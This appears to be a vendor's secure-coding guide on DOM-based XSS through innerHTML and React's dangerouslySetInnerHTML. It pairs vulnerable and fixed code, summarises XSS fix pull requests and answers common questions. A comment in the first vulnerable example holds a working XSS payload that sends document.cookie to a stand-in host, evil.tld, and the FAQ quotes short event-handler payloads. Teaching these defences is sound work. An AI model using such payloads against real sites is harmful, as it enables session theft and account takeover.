Assigning a string to `innerHTML` parses it as HTML, so any untrusted substring becomes live markup in your page's origin — `<img src=x onerror=…>` and `<svg onload=…>` run even though `<script>` tags inserted this way do not. The fix is to stop building HTML from data: use `textContent` (or `createElement` plus `setAttribute`) when you only need to display a value, and when you genuinely must render user-supplied markup, sanitize it with DOMPurify and enforce the result with Trusted Types. Escaping by hand does not work here, because the correct escaping depends on which HTML context the value lands in.
| Languages | JavaScript, TypeScript — browser and any DOM-emulating runtime |
| Dangerous sinks | innerHTML, outerHTML, insertAdjacentHTML, document.write, jQuery .html(), Range.createContextualFragment |
| Framework sinks | React dangerouslySetInnerHTML, Vue v-html, Angular bypassSecurityTrustHtml |
| Safe replacements | textContent, innerText, createElement + setAttribute, DOMPurify.sanitize |
| Typical impact | Session theft, account takeover, arbitrary actions as the victim in your origin |
| Not a fix | Stripping <script>, escaping only quotes, or an allowlist of tag names written by hand |
Vulnerable
const name = new URLSearchParams(location.search).get("name");
document.getElementById("greeting").innerHTML = "Hello, " + name;
// ?name=<img src=x onerror=fetch('//evil.tld?c='+document.cookie)>
// The <img> is parsed, the load fails, and onerror runs in your origin.Secure
const name = new URLSearchParams(location.search).get("name") ?? "";
document.getElementById("greeting").textContent = `Hello, ${name}`;textContent never parses markup, so there is no HTML context to escape for. Reach for it whenever the value is data rather than markup — which is nearly always.
Vulnerable
// A comment body that is allowed to contain <b>, <i> and links.
container.innerHTML = comment.bodyHtml;Secure
import DOMPurify from "dompurify";
container.innerHTML = DOMPurify.sanitize(comment.bodyHtml, {
ALLOWED_TAGS: ["b", "i", "em", "strong", "a", "p", "br"],
ALLOWED_ATTR: ["href", "title"],
// Blocks javascript: and data: URLs in the href above.
ALLOWED_URI_REGEXP: /^(?:https?|mailto):/i,
});Sanitize immediately before the sink, not on input. Sanitized-then-stored HTML rots: the next parser change, or any code path that mutates the string afterwards, silently un-sanitizes it.
Vulnerable
<div dangerouslySetInnerHTML={{ __html: post.contentHtml }} />Secure
import DOMPurify from "isomorphic-dompurify";
const clean = useMemo(
() => DOMPurify.sanitize(post.contentHtml, { USE_PROFILES: { html: true } }),
[post.contentHtml]
);
return <div dangerouslySetInnerHTML={{ __html: clean }} />;React escapes `{value}` automatically; dangerouslySetInnerHTML is the one place it stops. If the HTML is produced by your own trusted server-side pipeline and sanitized there, that is defensible — document where the sanitisation happens, because the next reader cannot tell from the call site.
Each of these is a pull request Orbis AppSec opened against a real open-source repository.
A Semgrep rule (`utils.custom.sql-injection-template-literal`) flagged `src/export/SheetMusicView.js` for building a query/markup string out of a JavaScript template literal with untrusted values interpolated directly into it. In this case the sink was an `<option value="${s.id}">${s.name}</option>` string used to build the snippet picker, meaning any snippet name containing `"` or `<` could break out of the attribute and inject arbitrary HTML. The fix introduces an `_escapeHtml()` helper and ro
The Datasets.jsx component fetched a remote manifest from snapshots.qdrant.io and rendered its contents directly into React state without validating response status, JSON shape, or field types. A compromised or spoofed endpoint could have injected malicious payloads straight into the UI; the fix adds strict validation and type coercion before the data ever reaches the render tree.
A cross-site scripting vulnerability in JSXGraph's JessieCode parser allowed attackers to inject JavaScript through maliciously crafted input that appeared in error messages. The fix ensures proper output encoding when user-controlled data is included in parser error reporting.
A critical XSS vulnerability was discovered in the `sanitizeInput()` function in script.js, where only angle brackets were being escaped while quotes, ampersands, and backticks remained unprotected. This incomplete sanitization allowed attackers to craft payloads using event handlers and template literals that bypassed the security controls entirely. The fix implements comprehensive HTML entity encoding for all XSS-relevant characters.
A high-severity DOM-based XSS vulnerability in `public/audio_match_demo/index.html` allowed attackers to inject malicious JavaScript through manipulated song metadata from API responses. The fix replaces dangerous HTML string concatenation with secure DOM API methods that automatically escape content.
CVE-2026-25896 is a critical Cross-Site Scripting vulnerability in fast-xml-parser stemming from improper DOCTYPE entity handling, which could allow attackers to inject malicious scripts through crafted XML payloads. The fix upgrades the vulnerable dependency from version 4.4.1 to patched versions 5.3.5 and 4.5.4, eliminating the unsafe parsing behavior while preserving all legitimate XML processing functionality.
A critical vulnerability in `app-viewer/js/LupineVault.js` allowed attacker-controlled HTML fetched from an external CDN to execute scripts in the application's full origin context by injecting it directly into an iframe's `srcdoc` attribute without any sandbox restrictions. The fix adds a `sandbox` attribute to the iframe element, restricting what the injected content can do even if it contains malicious scripts. This prevents cross-site scripting and origin-context script execution that could
A critical content injection vulnerability in `app-viewer/js/youtube.js` allowed arbitrary HTML and JavaScript from a compromised external CDN to execute directly in the hosting origin's context. The fix replaces unsafe `fetch()`-then-inject patterns with direct URL assignment, eliminating the attack surface entirely. This change prevents supply-chain-style attacks where a compromised JSON manifest could deliver malicious payloads to every user of the viewer.
The HTML parser refuses to execute a `<script>` element inserted via innerHTML, which is why the naive test looks safe. Event-handler attributes have no such restriction: `<img src=x onerror=…>`, `<svg onload=…>` and `<iframe srcdoc=…>` all fire normally. Blocking `<script>` therefore filters the one payload that never worked and none of the ones that do.
No. Correct escaping depends on the context the value lands in, and you do not know the context when you are concatenating a string. A value inside an unquoted attribute needs no angle brackets at all to break out (`x onerror=alert(1)`), and a value inside an existing `href` needs `javascript:` blocked rather than characters escaped. Sanitize the parsed result instead of escaping the input.
A strict CSP without `unsafe-inline` blocks most injected inline handlers, so it is a strong second layer — but it is bypassable via allowlisted CDN endpoints, JSONP, and script gadgets in libraries you already load. `require-trusted-types-for 'script'` is the part that addresses the sink directly, because it makes an unsanitized assignment throw rather than execute.
Yes, if the markup contains anything a user influenced. Server-rendered HTML is still parsed by the browser, so the sink is identical; the only difference is that you cannot see it in the browser devtools. Use `isomorphic-dompurify`, or sanitize in whatever language the template runs in (bleach for Python, sanitize-html for Node, OWASP Java HTML Sanitizer).
Orbis AppSec scans your GitHub repositories, traces the taint from source to sink, and opens a pull request with the fix applied and verified.
Try Orbis AppSec